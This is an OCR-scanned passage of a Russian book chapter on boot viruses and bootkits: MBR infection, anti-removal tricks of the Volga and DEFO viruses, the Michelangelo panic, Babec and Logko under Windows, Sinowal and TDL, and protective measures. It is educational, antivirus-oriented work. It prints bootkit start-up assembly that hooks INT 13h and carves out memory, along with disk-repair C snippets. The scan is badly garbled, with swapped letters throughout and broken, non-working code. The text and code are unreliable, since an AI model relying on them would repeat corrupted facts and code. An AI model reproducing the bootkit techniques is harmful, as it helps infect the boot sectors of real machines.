: инфицирование ви нчестер а  (п р о я у чв н о ) 
; Адрес сообцения

; Васорка ом ередного символа 
; Это конец стр о ки ?

, Да -  виходи из цикпа  
. Нет -  отображение 

симеолэ  на экране 
Б озврат в цикл

: Ожидание нэжатия 

любой клавиши

"Теплая" п е р е з а го у з к з  машину

Обработка з а гр у з к и  о винчеотера 
а :.зк  о г 018к е г г о г ' ,  ООп, 0А» 

ш у кеу »Иеп г е а З у '.  00й. 0А(1

Р а г т 1 Т:.о:: Тао1е 

При-знэк з а г р ‘/зомн
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Сравните приведеннме фрагментн с полннми листингами МВК 
винчестера и Ьоо1-сектора дискетн. Легко видеть, что стандартнне за- 
грузчики написанн более «надежно». В частности, стандартньш код 
МВК одновременно со сканированием таблицн разделов проверяет 
ее на корректность. Если эта таблица по какой-либо причине разру- 
шена, то стандартннй загрузчик вндаст предупреждаклцее сообиде- 
ние, а вирус АпйСМОБ просто зациклится. Кроме того, вн ни при ка- 
ких условиях не сможете загрузить операционную систему с дискетн, 
зараженной вирусом 51пке. Ведь вирус просто не умеет этого делать! 
Тем не менее в 99% случаев эти вирусн поступают точно так же, как 
поступили бн на их месте стандартнне загрузчики, и благодаря этому 
пользователь не замечает подменн.

Если вн хотите автоматизировать процесс лечения и написать 
собственную антивирусную программу, то поиск вируса по сигнату- 
ре в секторах и в памяти нужно вьшолнять в точности так же, как 
мн это делали для вируса 5(;опес1.Ап41ЕХЕ. Для «лечения» МВК 
потребуется иметь внутри программн содержимое стандартного за- 
грузочного сектора винчестера. Необходимо перенести внутрь него 
из вируса 64 байта таблицн разделов, а потом записать полученннй 
код на свое законное место -  в сектор {0,0,1} жесткого диска. Точно 
так же для «исцеления» дискетн надо иметь содержимое стандартно- 
го Ьоог-сектора (для каждой версии операционной системн -  свое!), 
в которое нужно перенести из вируса таблицу параметров дискетн, и 
все вместе это поместить в стартовнй сектор гибкого диска.

2.4.3. Механизмь! противодействия удалению 
вирусов
Однако далеко не все загрузочнне вирусн спокойно мирятся с пер- 
спективой своего обнаружения и уничтожения. Вот, например, фраг- 
мент описания (от Е. Касперского) для вирусов семейства Уо1§а 
(Уо1СС).

...ВирусьI перехвать/ваютпрерьшание 1ИТ 13И (обрашение кдис- 
ку) и следятза операциями чтения/записи.
...При записи сектора или секторов через обь/чную функцию 
(АН=03Ь) вирус запись/вает сектора по одномус помош,ью функ- 
ции «запись длиннь/х секторов» (АН=0ВН)... При чтении секторов 
с помошью обичной функции чтения (АН=02Ь) вирусь! также ме- 
няют функцию на «чтение длиннь/х секторов» (АН=0АИ), которая 
читает как сектора, записаннь/е функцией АН=02Ь, так изаписан- 
нью функцией АН=0ВН.
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В результате часть секторов диска (то есть в которь/е произошла 
запись) оказиваются в формате /.ОЛ/О, а остальнь/е -  в стандарт- 
ном формате... В зараженной системе диски читаются как обмч- 
но, но после удаления вируса из памяти или после удаления виру- 
са из МВЯ и загрузке с чистого диска... все пораженнь/е сектора 
перестают читаться средствами 008...
Для исправления таких секторов требуется специальная про- 
грамма, которая должна читать подряд все сектора на диске 
обичной функцией чтения (!ИТ 1311 АН=02Ь), пока не найдется 
сбойнь/й сектор. Сбойний сектор читается через функцию «чте- 
ние» длинних секторов (1ИТ 13Н, АН=ОАЬ), и если чтение прошло 
успешно, запись/вается обратно через обичную функцию записи 
(7Л/Г 1311 АН=02Ь). На исправление пораженного таким образом 
диска требуется значительное время -  от нескольких минут до 
часа и более (в зависимости от обьема диска и его времени до- 
ступа).
Хитроумньш автор вируса воспользовался тем фактом, что. кроме 

«обьганнх» операций чтения и запис.и секторов, прернвание 13Ь так- 
же поддерживает для винчестера их «расширеннме» вариантм. Объ- 
ем считмваемой или записнваемой информации составляет в этом 
случае 516 байтов, из них 4 последних байта содержат контрольную 
сумму читаемого или записнваемого содержимого. Сектора, записан- 
нне в «длинном» формате, читаются «обнчной» командой с ошибкой 
контрольной суммн.

Ознакомившись с «рецептом» от Е. Касперского, попробуем пред- 
ставить себе, как могло бн вмглядеть «магическое снадобье» для вин- 
честера, испорченного вирусом Уо1§а.
ш х  1, ] ,  к,  г е з и И :  

иПБхдпео сПаг ои-Ғ [ 51 6 ] ;

Ғ о г  (1=0; К М А Х Т Р К ,  1 + -;  / ' /  Ц и и 1 по т р б к э м

с̂ г  и = 0 ,  1чМАХНЕА0,  ]++; / /  Цикл по г о л о в к а м

' о г  (к=0; И М А Х 0 Е 0 Т . );+»)': ,// Ци?л  по о е к т о о а м  

' е з з !  1= & ю $ а и . к (  ОхоЗ,  0>,5?и. 1 . 1 . к. 1, ОуГ ) . / . /  Пнт.^емоч м и т з т ь  

1 т ( г е з и И )  I / /  Н е у д г ч з ?

Ьюгс1151ч( 0 ' 1 0 ,  0>00,  1 . I ,  к, ЬиГ / /  Чит з е ’-' длинно'
ЬЮ6 0 г ; к ( 0>03.  О.хоо, ] ,  I ,  к, :, о и : / /  Зэпио^аззм нз пзд

}
I

Отметим еше один необнчньгй загрузочннй вирус ОЕҒО, пнтаю- 
Шийся противодействовать антивирусам.
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...При эаражвнии дискет форматирует дополнительнмй трек, со- 
держаший единственнь/й сектор длиной 4096 байт, и запись/вает 
туда свойкод...
Дело в том, что параметрм дискетм -  сектор вместимостью 512 бай- 

тов, 40 или 80 дорожек, от 9 до 18 секторов на дорожке -  являются 
«стандартньши» только для операционннх систем от М!сго8ой. В то 
время как контроллер НГМД позволяет создавать и использовать 
дискетм, организованнне совсем по другим правилам. В частности, 
возможна запись информации на 80-ю дорожку и в сектор вместимо- 
стью 4096 байтов! Подробное описание возможностей контроллера 
и способов их «ненормативного» использования внходит за рамки 
данной книш. Тем не менее приведем пример программн, способной 
прочитать содержимое «сектора-гиганта». 
шг
йЬ_ьйд, / /  Сегм9нт базн диока 
с!Ь_оГз; / /  Смешенке бази диокэ 

ипз1дпей сМаг
Ьи‘ [ 4096], /V Буфер для данних
с!Ь[11 ] = {ОхОҒ, 2. 0x25, 5, 02, Сх2А, ОхҒҒ, ОхА, 0хҒ6, 25. 4}; /7  Бэза диска

с!Ь_&ед=?еек(0: 122); /7  Сохраняем старое эначенив
йЬ_оҒз=реек('0: 120): / /  адреса базн дискэ
роке(0, 122, ҒР_$Е0 (йЬ [0 ]!) , / /  Устанавливэек указатвяь
роке(0, 120, ҒР_ОҒҒ(с!Б[0])); /,/ на новую бззу диска

ою зй15к (0х2 , 0. 0, 80, 1, 1. Ьит ) ; / /  Читзем 4096 бзйтов
/ /  иг 1-го секторэ 80-й 
/ /  дорохки дисьвтм А; 

ооке(0, 122, 0Ь_зед). / /  Воостанэзливаем отарое значение
роке(0 : 120, с!Ь_оГб); / /  адреоэ ба-зи д и о а
0 Ю ь с 1 1 о к ( 0 л 0 .  0, п, 1;, ь, 1. Ьи ' ); / /  Сброо диоковой подоистемн

К приведенному фрагменту необходимо дать некоторне пояс- 
нения. Процедурн ВЮЗ, предназначеннне для манипулирования 
с секторами дискет, обрашаются к справочной информации -  так на- 
знваемой базе диска. База диска -  это одиннадцатибайтовьга массив, 
адрес которого в формате «сегментгсмевдение» располагается в пози- 
ции вектора 1ЕЬ. В этом массиве по смеғцению 3 содержится код раз- 
мера сектора (0 -  128 байтов, 1 -  256 и т.д.), а ио смешению 4 -  номер 
последнего сектора на дорожке. Для того чтобн заставить дисковую 
подснстему читать сектора нестандартной длинн, достаточно времен- 
но нзменить базу диска.

Разумеется. вирус, полностью умешаючцийся в 512 байтах загру- 
зочного сектора. просто физически не может содержать в себе особо
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хитрмх «ловушек». Всяческие наворотм -  привилегия «длинннх» 
вирусов, например БЕҒО, своим кодом полностью заполняюшего все 
4096 байтов «гигантского» сектора.

Итак, сделаем внводн: некоторме загрузочнне вирусм не так 
просто «победить». Поверхностннй анализ кода «заразн» и попьгг- 
ка тривиального удаления его из загрузочнмх секторов могут доро- 
го обойтись торопливому и невнимательному экспериментатору. Но 
изучение хитростей и тонкостей некоторнх «продвинутнх» вирусов 
не только сложно и опасно, но также очень интересно и весьма по- 
лезно для самообразования в области системного программирования.

2.4.4. Проявления загрузочнмх вирусов
В силу своего шо^из у̂ УегкН загрузочнне вирусн способнн сосувдест- 
вовать с «мирннм» программньш обеспечением, не конфликтуя с 
ним и ничем себя не обнаруживая. Ведь большинство из них по своей 
сути являются не чем иньш, как вполне корректно написанннми ва- 
риантами загрузочннх программ, отличаюшимися от «стандартннх» 
собратьев лишь умением копировать свой код на другие дискетн и 
винчестерн. Каковое умение они, кстати, совершенно не обязанн 
демонстрировать постоянно. Известнн случаи, когда загрузочнне 
вирусн, находясь в латентном состоянии. оставались в загрузочннх 
секторах активно используемого винчестера по 7-10 лет и обнаружи- 
вались лишь случайно.

Видимо, некотормх «творцов» раздражает именно это свойство 
собственннх «творений». Им просто не удается усидеть спокойно на 
месте в ожидании «славн», пусть и анонимной. Ведь срок «призна- 
ния» может растянуться на годн! Это такое же мучительное и тягост- 
ное овдушение, как и у игрока в прятки, которнй настолько хорошо 
замаскировался в пнльном нафталиновом шкафу, что его никак не 
могут обнаружить. Особенно если в прятки играет он один и его ни- 
кто особенно и не ишет. Как тут в самьш неподходявдий момент не 
внскочить из шкафа с диким воплем «а вот и я>>?!

И внскакивают: вьтводят на экран разнообразнме изображения, 
играют музмкальнне фразн, а то и просто портят информацию на 
диске. Сейчас известно около 1000 загрузочннх вирусов, объединен- 
ннх в несколько сотен семейств. Из примерно 250 семейств загрузоч- 
нмх вирусов, описаннмх в каталоге И. Данилова:

О 42% содержат откровенно деструктивнне, направленнме на 
уничтожение и блокирование информации нроцедурн;

О 40% демонстрируют на экране видеоэффектм, то есть изобра- 
жают надписи и картинки:
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О 8% изменяют системную информацию, интаясь предотвратить 
свое обнаружение и удаление;

О 6% содержат ошибкн, способнне помешать нормальной работе 
на компьютере;

О 2% демонстрируют аудиоэффектн, то есть проигрьтвают какие- 
то мелодии или просто птцат динамиком.

И есть еше 26% вирусов, которне не делают ничего из вьшепере- 
численного и поэтому могут считаться относительно незаметннми и 
безобидньми. Конечно, в сумме все это составляет больше 100%, но 
не следует забнвать, что некоторне вирусописатели склоннн приме- 
нять в своих вирусах сразу несколько разнообразннх «шуток».

Нам, конечно, в этом контексте более всего интереснн вирусн- 
«убийцьт». И прежде всего: насколько они опаснн и можно ли как- 
нибудь восстановить поврежденную и уничтоженную информацию.

В качестве примера рассмотрим вирус 8£опес!.МагсЬб («М1сЬе1ап- 
§е1о»). С этим вирусом бнла связана интересная и очень поучитель- 
ная история. В начале 1991 г. вирусологами бнл обнаружен в «дикой 
природе» новнй загрузочннй вирус, способннй 6 марта каждого 
года уничтожать информацию на винчестере. Гораздо позже, ког- 
да история, связанная с этим вирусом, бнла в разгаре, журналистн 
обратили внимание, что 6 марта -  день рождения великого худож- 
ника Микеланджело Буаноротти. Вирус вошел в историю под име- 
нем «М1сЬе1ап§е1о», и вошел «громко» -  зимой 1992 г. две крупнне 
американские фирмьт, производившие персональнне компьютерн, 
публично признались, что случайно распространили прилагавшиеся 
к компьютерам дискетн с системннм программннм обеспечением, 
зараженнне этим вирусом. Назнвались цифрн -  от 500 до 900 за- 
раженннх дискет. На следуюший день информационное агентство 
1:Р1 взяло у крртнейшего вирусолога[оЬп МасАГее интервью, завер- 
шившееся сенсационннм внводом: сотни тнсяч компьютеров могут 
оказаться под ударом 6 марта, в день активации вируса. Следуюшим 
витком в эскалации истерии стало заявление агентства КеШегз, в ко- 
тором со сснлкой опять-такн на мнение МасАГее упоминались уже 
пять миллионов поражешшх компьютеров.

Нетрудно представить себе реакцию простьтх пользователей, на 
которнх со страниц газет и телеэкранов в одночасье обрушились та- 
кие чудовшцнне «новости». В считаннне часи стоимость акций анти- 
вирусннх комианий подскочила в несколько раз. Эти компашга, со 
своей сторонн, тоже не слишком спешили у спокаиватъ перепуганннх 
компьютерннх обнвателей. И стерия продолжалась несколько недель
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и закончилась \тром 7 марта. По официальним сведениям, бмло за- 
фиксировано от 10 000 до 20 000... нет, даже не пострадавших компью- 
теров, а всего лишь фактов обнаруясения вируса «М1сЬе1ап£е1о», 
произошедших за этот срок. А реальнмм ушербом (испорченньхми 
данннми) могли «похвастаться» вряд ли более сотни пользовате- 
лей -  все-таки загрузочнне вирусн переносятся с машинн на машину 
медленно, а повсеместное использование «свежих» антивирусов в по- 
следние недели гхеред активахдией бнло беспрецедентннм.

Спустя пять лет, в начале марта 1997 г., некоторне средства мас- 
совой информации США попьтгались «реанимировать труп», вновь 
внтахцив на новостнне интернет-сайтн пропахшую нафталином 
историю о «кровавом М1сЬе1ап§е1о» и «роковой дате». Как и следо- 
вало ожидать, на нее почти никто не обратил внимания, и на этот раз 
сенсации не получилось. Вирус-то к тому времени можно бмло найти 
лишь «в пробирках» у вирусологов.

А спустя ехце два года, 26 апреля 1999 г., последовало неожиданно 
катастрофическое продолжение истории. Впрочем, поскольку «глав- 
ннм героем» на этот раз стал ххе «М1сЬе1ап§е1о», и даже вообхце не за- 
грузочннй вирус, речь об этом пойдет в главе, посвяшенной вирусам 
для \\/1Пс1о'Л'-5.

Разрушение информации на винчестере, нанесенное загрузоч- 
ннм вирусом, ие всегда фатально. Как правило, вирусн заполняют 
«мусором» сектора -  либо случайно внбраннне, либо принадлежа- 
шие системннм областям диска. В некоторнх случаях оказнвается 
возможньш хотя бн частично восстановить данньхе на винчестере. 
С}тцествуют специальнне программн (например, Тхгат15и/Еазу К.е- 
соуегу), которне пнтаются сделать это. используя сложнне эврис- 
тические алгоритмн. А иногда неплохих результатов можно добиться 
и самостоятельно, вооружившись всего лишь нортоновскими утили- 
тами от Зутапсес. знанием правил организации файловой системм на 
диске и здравьхм смнслом.

2.4.5. Загрузочние вирусь! и Мшйожз
Сразу после включения питания компьютера процессор х80х86 на- 
чинает работу в так назнваемом «реалъном* режиме. Его особенно- 
стью является использование 16-битовой шинн данннх н 20-битовой 
шинн адреса, соответственно процессор использует только 16-би- 
товьхе регистрн и способен «увидеть>> лншь 1 Мб памяти. Поэтому, 
кстати, этот режим иногда назнвают «1 в-бшповьш». Именно в этом 
режпме функционируют процедури ВЮ5 (в том числе и процедура 
обработки прерьхвания 13Ь) и операционная система М 5-008.
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Фирма МкгозоЛ. декларирует, что операционнме системм семей- 
ства \¥шс1о\уз используют другой, так назмваемьш «загцшценньш» ре- 
жим работм процессора. В этом режиме регистрм современнмх про- 
цессоров способнн хранить 32 или 64 бита. Мм сконцентрируем свое 
внимание на «32-битовом» режиме и поддерживаюших его операци- 
оннмх системах. На самом деле полностью 32-разрядной являются 
только различнне версии \¥1пс1о\\’5 КТ (включая \¥тс1о\\'з 2000, ХР, 
УгзЬа и т. д.), а \¥11к1о\\’5 95/98/М Е по мере необходимости переклю- 
чаются из режима в режим. Подробнее этот вопрос будет рассмотрен 
в главе «Файловне вирусн в \\7тскпуз».

Типичная операционная система семейства \¥т(1о\\'5 МТ полно- 
стью берет на себя обработку доступа ко всем дисковьхм устройствам 
через портн контроллера. Это означает, что даже если загрузочннй 
вирус после включения питаиия и установил свой «агрессивннй» 
обработчик прернвания 13Ь, все равно ни операционная система, ни 
прикладнне программн к этому прернванию просто никогда не будут 
обрашаться. Для поддержки исполнения 16-битовнх БОЗ-программ 
запускается специальннй 32-битовнй процесс Н Г\’Ғ)М. котормй мо- 
делирует и контролирует среду внполнения -  обработчики прерм- 
ваний, служебнне области операционной системн и т. п. Благодаря 
этому вирус просто не будет допувден к секторам диска.

В \ \?1пс1о\\’8 95/98/М Е дело обстоит несколько иначе. По умолча- 
нию используются собственнне 32-разряднне процедурн доступа к 
дискам. Но если операционная система обнаруживает, что на момент 
загрузки прернвание 13Ь кем-то или чем-то перехвачено, то счита- 
ет, что «это неспроста», включает для доступа к жесткому диску (но 
не к дискете!) так назнваемьш режим совместимости и использует 
«посторонние» обработчики как «роднме». Этим обеспечивается, на- 
пример, корректная работа под М пйо^з 95/98/М Е драйвера Оштаск 
ОгзкМапа^ег, которнй встраивается в цепочку обработчиков прерн- 
вания 13Ь по вирусному принципу и транслирует «большие» номера 
секторов, цилиндров и головок современннх винчестеров (размером 
520 Мб и более) в форму, понятную ВЮ5 стармх материнских плат. 
Но для доступа кдискетам никаких «поблажек» 16-битовому режиму 
никогда не делается, работа идет исключительно через собственнме 
32-битовне процедурн Штсклуз.

Итак, классически написаннне загрузочнне вирусьт под современ- 
ннми верснямн \¥ 1Пс1о\\'зне получатуправления во время обратения 
к дискете н по этой причине не смогут размножаться.

Конечно, вирусописатели не собираются так просто сдаваться. 
Иместся ряд понмток обеспечить хотя бн частичное функциониро-
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вание загрузочнмх вирусов в среде \¥тс1о\¥5. Рассмотрим механизм, 
использованннй в вирусе ВаЬес.

В основу функционирования этого вируса положено то обстоя- 
тельство, что операционная система семейства XVI п(1о\\’я 95/98/МЕ 
не все аппаратнне прернвания обслуживает 32-битовнм кодом. Ве- 
роятно, это связано с тем, что 16-битовнй код по своей природе го- 
раздо более компактен, прост и в большинстве случаев нисколько не 
проигрьшает 32-битовому коду в бнстродействии. Вот и в \ \ ;пк1о\У8 
95/98/М Е работа с клавиатурой осутдествляется «по старинке», с ис,- 
пользованием ВЮЗ-прернвания 16Ь. Это дает возможность вирусу, 
перехватившему клавиатурное прернвание, хотя бн однаждн полу- 
чить управление.

Итак, алгоритм работн загрузочного вируса ВаЬес внглядит сле- 
дуюшим образом.

1. Стартовав из зараженного МВК, вирус перехватнвает 1сдавиа- 
турное прернвание 16Ь.

2. При каждом нажатии клавиши вирус отслеживает состояние 
вектора прернвания 21Ь и пнтается перехватить его. (Этот век- 
тор принадлежит виртуальной машине ВОЗ и «дремлет» в ожи- 
дании запуска какого-либо ВОЗ-приложения.)

3. Обработчик иерехваченного прерьшания 21Ь отслеживает вн- 
зов функции ОЕЬ («смена текушето диска»). Если некая ГЗОЗ- 
профамма попьггается обратиться к диску «А:» или «В:», то 
немедленно начинает внполняться вполне традиционная про- 
цедура заражения дискетн.

Еше одним примером загрузочного вируса, способного сушество- 
вать в условиях \У1пс1ои'з, является разработка под названием Ьо§ко. 
Этим вирусом используется то обстоятельство, что перед первнм об- 
рашение.м к дискете \¥н 1с!о\ \ ’8 считнвает с винчестера образец кода 
загрузочного сектора и делает эту операцию через прернвание 13Ь. 
Перехвативший указанное прернвание вирус анализирует содержи- 
мое всех считмваемьтх операционной системой секторов, и если обна- 
руживает в рабочем буфере нечто похожее на Воо1>сектор, то делает 
внвод, что в кармане дисковода имеется дискета, которую можно по- 
пьттаться заразить.

Гаким образом, вирусн ВаЬес и Ьо§ко будут заражать дискетн 
только тех пользователей, которне хотя и пользуются операцион- 
ннми системами \ \ 7т<1о>У5 95/98/МЕ, но продолжают копировать. 
удалять и переименовьгеать свои файлн не при гюмотци крайне гро- 
моздкого и неповоротливого «Проводника», но. наиример, средства-
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ми старого доброго (и удобного!) Моггоп Соттапс1ег'а. Способность 
к самостоятельному заражению дискет в современнмх условиях у 
вирусов ВаЬес и Ьо§ко довольно мала, но не равна нулю! Прочие за- 
грузочнме вирусн даже и этим похвастаться не могут.

Разумеется, «трюки», использованнме в этих вирусах, «не срабо- 
тают» в операционнмх системах семейства \\чпс1о\У5 N7, и вирус не 
сможет размножаться. Означает ли это, что загрузочнне вирусн в но- 
вом веке потеряли актуальность и стали безопасннми? Нет и евде раз 
нет! Если при включении компьютера оставить в кармане дисковода 
зараженную дискету, то «старне» загрузочнме вирусм по-прежнему 
способнн заразить винчестер машинм с любой операционной систе- 
мой, будь то М 5-1)05, \У1п(1о\\'5, Упих или какая-нибудь экзотиче- 
ская 05-9000. Вот пример одного из довольно современнмх пресс- 
релизов:

...Осенью 2007 г. пришло сообш,ение, что А1сИ, крупнь/й ритей- 
лер компьютеров в Германии и Дании, поставила около 100 ть/с. 
ноутбуков МесНоп с предустановленной Шпдошз IЛз1а и действу- 
юшим загрузочнь!М вирусом 13-летней давности... Вирус 31опес1. 
АпдеНпа запись/вается в главнь/й загрузочнь/й сектор... Компании 
пришлось отозвать зараженнь/е ноутбуки для переустановки си- 
стемь!...
Пусть загрузочнмй вирус, заразивший винчестер с современной 

операционной системой, потеряет способность к дальнейшему раз- 
множению, он все равно останется в загрузочном секторе и будет при 
каждом включении питания на мгновение получать управление. Если 
вирус безобиден, то он может прожить на машине много лет и «уме- 
реть» вместе с ней. Если же в его алгоритме предусмотрепа какая- 
нибудь зловредная «шутка», то рано или поздно «час Ч» наступит, и 
последствия будут непредсказуеммми.

2.4.6. Буткити
Еше один шанс на жизнь в среде \¥1гк1о\\'5 загрузочнме вирусм полу- 
чают вместе с развитием «буткигпов» -  так назмваются технологии 
вредоносного программного обеспечения, стартуювдего как загрузоч- 
нмй вирус, но затем впедряювдегося в компонентн операционной си- 
стемн евде до того, как она загрузилась. Нечто подобное продельюали 
в 1990-х годах файлово-загрузочнне вирусм. Но первая «современ- 
иая» программа такого класса 8ингоа1 -  появилась в 2007 г. Спустя 
гри года их насчитмвалось уже несколько десятков.
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«Зародьшш» б}ткитов попадают на компьютерн пользователей не 
при помоши дискет, а внутри почтовнх и сетевнх червей, вместе с за- 
раженннми программами или после визита на «заминированную» 
интернет-страницу. Используя ту или иную уязвимость в программ- 
ном обеспечении, они получают повншеннне системнне привилегии 
и вместе с ними -  возможность прямой записи в сектора винчестера. 
Речь о червях, уязвимостях и заражении программ пойдет в соответ- 
ствуювдих главах нашей книги. Пока же достаточно иметь в виду, что 
на начальном этапе своей работн б\ткит тем или иннм образом заме- 
няет оригинальньга загрузчик и ждет первой перезагрузки компью- 
тера.

По своему устройству и назначению стартовнй фрагмент типично- 
го буткита, расположенннй в МВК винчестера и получаюший управ- 
ление после перезагрузки, почти ничем не отличается от загрузочно- 
го вируса. Вот, например, начало кода буткита Зто^а!.

ПОУ з р , 7ВҒЕИ 
ОизП с)5 
ризЬзс! 
с1с1
П10У б з ,  о х

ШОУ 51,0x413 , Откусмвэние...
5иЬ могй р1г [з1]. 2 .2048 байтов памяти
1оЙ з«
зМ1 а х , 6

ш о у  е з , а х

ИОУ 31,700011

ХОГ Й1.01

с Н

хог Ьх,Вх
ИОУ 53, Ьх
воу [ з з :78ҒЕМ] . зр

Установгчв новой области, .. 
. под стек

гаоу еох,266 Копирование себя в. ..
гер поузи . . . "откуеанную" панять 

Считувание в 'откусанную" память 
...дву.х сектороз, начиная с {0,0,81}

гаоу ах ,0x202 
шоу с1 , 61 
шо̂  ох,80И 
И0У &Х.01 
ш т 13П 
х о г  а х ,Ь х

иоу е а х ,[Ь » + 1 3 п « 4 ] 

тоу [Ь х -1 3 Ь * 4 ] , ууогс! Мвм_13 

« V  [е з :3 а у е _ 1 3 + 3 ],е з х  
•оу [Ь х + 1 3 г« 4 + 2 ],е з
оизп еь

Риьп о ғ г з е г  ‘№ » _ Р о ;:Ь к  - 
гетТ

Ь,

'ОТЭнОнга нового  

.о б р а б о тчи ка  пре ривэния 13п

14 у о а н -у ю " Н’ :
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Пожалуй, довольно характерннм отличием буткитов от «класси- 
ческих» вирусов является чтение с диска целой группн секторов. 
В этом смьгсле 8'шо\уа1.а, считьгеаюший сначала только два секто- 
ра, является исключением из правила. Впрочем, он «дочитьгеает» 
свой «хвост» с диска уже потом. В противоположность ему буткит 
Тгир.а хранит на диске и сразу считнвает в память 40 секторов -  
что более характерно для этой разновидности «заразн». Довольно 
«популярннм» местом для хранения «хвоста» является пустое, не- 
размеченное пространство, расположенное сразу после последнего 
дискового раздела.

Стартовав, словно обьшний загрузочньш вирус, буткит и дальше 
ведет себя аналогичньш образом: «откуснвает» память, считнвает 
в нее с диска остаток своего кода и оригинальннй загрузчик, перехва- 
тьшает дисковое прерьгвание «ШТ 13Ь» и передает управление ори- 
гинальному загрузчику. «Классический» вирус на этом заканчивает 
процедуру своей установки, а работа по установке буткита только еше 
начинается.

Дело в том, что значительная часть процесса загрузки операци- 
онной системн вьшолняется в «16-битовом» режиме, и при этом 
необходимие файловне компонентн считнваются в память при по- 
моши «ШТ 13Ь». Поскольку это прернвание перехвачено буткитом, 
он имеет возможность контролировать процесс загрузки операци- 
онной системн. В типичном случае буткит дожидается считнвания 
в память фрагментов модуля «05Ю А0ЕК.ЕХЕ», расположенного 
виутри файла «МТЕБК», и прямо в памяти видоизменяет их содер- 
жимое так, чтобн они вместо компонентов операционной системн 
считнвали с диска компонентн буткита. Таким образом, к моменту, 
когда загрузчик операционной системн примет решение перейти из 
«16-битового» режима в «32-битовнй» или «64-битовнй», в памяти 
будут находиться и, соответственно, получат управление «фальши- 
вне» компонентн операционной системн. Что они могут? Например, 
установить «лишние» или модифицировать «роднне» драйверн опе- 
рационной системн. Любая пршсладная или системная программа, 
запушенная в такой системной среде, не сможет «увидеть» посторон- 
него кода ни в своих файлах, ни в секторах своего винчестера. Это же 
относится и ко многим антивирусам. 5геаИЬ-эффект торжествует, не 
так ли?

Впрочем. если загрузиться с иуеСО, то буткит будет виден как на 
ладони.
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2.5. Советъ! по борьбе с зафузоннь1МИ 
вирусами

...Мм пробовапи и леталь, и буксил, петронал, 
и еш,е что-то. Но я уверен, чпю эффектив- 
■нейшим средством против наших мух бьши 
бм прость/е слюни.

А. и Б. Стругацкие.
«Чрезвмчайное происшествие»

Вам может показаться странньш, но даже в эпоху «расцвета» загру- 
зочнмх вирусов -  в начале 90-х годов XX века -  некоторьте специалис- 
тм-вирусологи не придавали им большого значения. Так, например, 
знаменитьга Д. Н. Лозинский на протяжении ряда лет неоднократно 
вмсказмвал мнение, что загрузочнме вирусм вммирают и скоро со- 
всем исчезнут. Первме версии его антивируса А1с15Тез1 даже и не пм- 
тались обнаруживать загрузочную «заразу>>. В качестве оправдания 
можно заметить, что сам Лозинский по большому счету не рассмат- 
ривал свою антивирусную программу как коммерческий продукт, и 
«ковмряться» в ВооОсекторах ему бмло просто неинтересно. Даже 
когда «по многочисленнмм просьбам трудяшихся» ему пришлось 
включить в А^зТезГ процедуру обнаружения и удаления загрузочной 
«заразм», он попь1тался максимально упростить себе задачу. АУзТезС 
даже саммх последних версий (от осени 1997 г.) не удалял вирусм из 
загрузочнмх секторов дискет, а всего лишь нейтрализовмвал их из- 
менением парм байтов.

До лечения:
Зтагг:

]шр Уггиз

VIгуз:

После лечения:
81:аг1:

У1г из:

в результате основная цель оказьшалась достигнута: дискета пере- 
ставала бмть «рассадником инфекции». Но поскольку основное тело
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вируса оставалось в загрузочном секторе дискеть1 в нетронутом виде, 
другие антивирусн по-прежнему продолжали реагировать на «за- 
разу». Да и нормальная загрузка с такой дискетм бмла невозможна, 
система просто зацикливалась.

Евде одна примечательная история бьиа связана с тем, что Д. Н. Ло- 
зинский хранил сигнатурм вирусов внутри тела своего антивируса 
АМзТезЬ в незашифрованном виде. И надо же бнло такому случить- 
ся, что включеннмй в состав операционной системм М 5-005 у5.0 
антивирусньш пакет М5АУ использовал для поиска некоторьхх за- 
грузочннх вирусов в точности те же последовательности сигнатур- 
ннх байтов, что и Лозинский! В результате один антивирус (от самой 
фирмм МкпозоШ) регулярно обнаруживал «заразу» внутри другого 
антивируса (от какого-то там «никому не известного русского»). Это 
послужило источником многочисленннх слухов о том, что авторм 
отечественнмх антивирусов специально-де распространяют «заразу» 
внутри своих программ. Как ни прискорбно, но свинья всегда и везде 
находит грязь, а сторонники теории «антивирусников-вредителей» 
любой забавннй казус трактуют в качестве ее (теории) доказательства.

Но более-менее грамотньш (в компьютерном смнсле) человек не 
может не удивиться: с какой стати антивирус М5АУ пьггается искать 
загрузочньш вирус вн>три программннх файлов, то есть там, откуда 
этот вирус никогда не сможет стартовать?!

Но если подходить к описанньш историям без излишних эмоций, 
следует признать, что Д. Н. Лозинский формально бнл прав в сво- 
ем не слишком серьезном отношении к загрузочньтм вирусам. Дело в 
том, что в подавляюшем большинстве случаев предотвратить зараже- 
ние такого рода «инфекцией» (и излечиться от нее) любой более или 
менее грамотннй пользователь способен самостоятельно без приме- 
нения антивирусов.

2.5.1. Методи зашитм дисков от заражения
Мн уже знаем, что подавляювдее большинство загрузочннх виру- 
сов используют для инфицирования винчестера сервис, предостав- 
ляемнй процедурами ВЮ5. Вот уже много лет программистн фирм 
А\уагс1, Атепсап Ме§а1:геп(15. РЬоешх, Оиас11:е1 и друтх  производи- 
телей ВЮ5 включают в эти процедурн фрагментн кода, контроли- 
руюшего запись в системнне области винчестера. Если установить в 
гтоложение «Оп» («Включено») флажок Упиз РгоГес11оп (или У)'ги5 
\\'агп]'пй) в ВЮ5 5етр , то нри попнтке измешпъ содержимое МВК 
иользователь будет предупрежден об этом и визуально. и звуковмм
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сигналом. Пользователь должен нажать на клавишу «V», если он со- 
гласен с этим изменением, либо клавишу «М» в противном случае. 
Конечно, это не панацея. Например, вирус Вогес! умеет чсоглашать- 
ся» за пользователя, заранее поме1цая в буфер клавиатурм код клави- 
ши «¥». А вирус Ра1та5 способен писать информацию в стартовьш 
сектор винчестера, обравдаясь к ГОЕ-контроллеру в обход ВЮЗ (на 
самом деле это несложно). Но таких вирусов крайне мало. Гораздо 
неприятнее тот факт, что режим У1гиз РгоЬесйоп на компьютерах у 
огромного количества пользователей просто отключен. Еше досад- 
нее, что в ВЮЗ компьютеров 2000-2007 годов этот режим часто от- 
сутствовал по причине «неактуальности» загрузочннх вирусов и воз- 
родился только после появления буткитов.

Другой очевидннй, но почему-то редко используемнй способ про- 
тиводействия заражению загрузочньши вирусами -  шторка зашитн 
от записи на дискетах. Исправньш контроллер дисковода ни при ка- 
ких обстоятельствах не пропустит вирус на завдишенную таким об- 
разом «трехдюймовку»1.

И наконец, самьш главньга способ завдитн: надо просто не забн- 
вать вннимать дискетн из кармана дисковода во время его переза- 
грузки или включения питания компьютера.

Увн, описаннне методн бессильнн против буткитов. От них лучше 
всего завдивдаться методами, рассмотренннми в главе, посвявденной 
сетевнм и почтовнм червям.

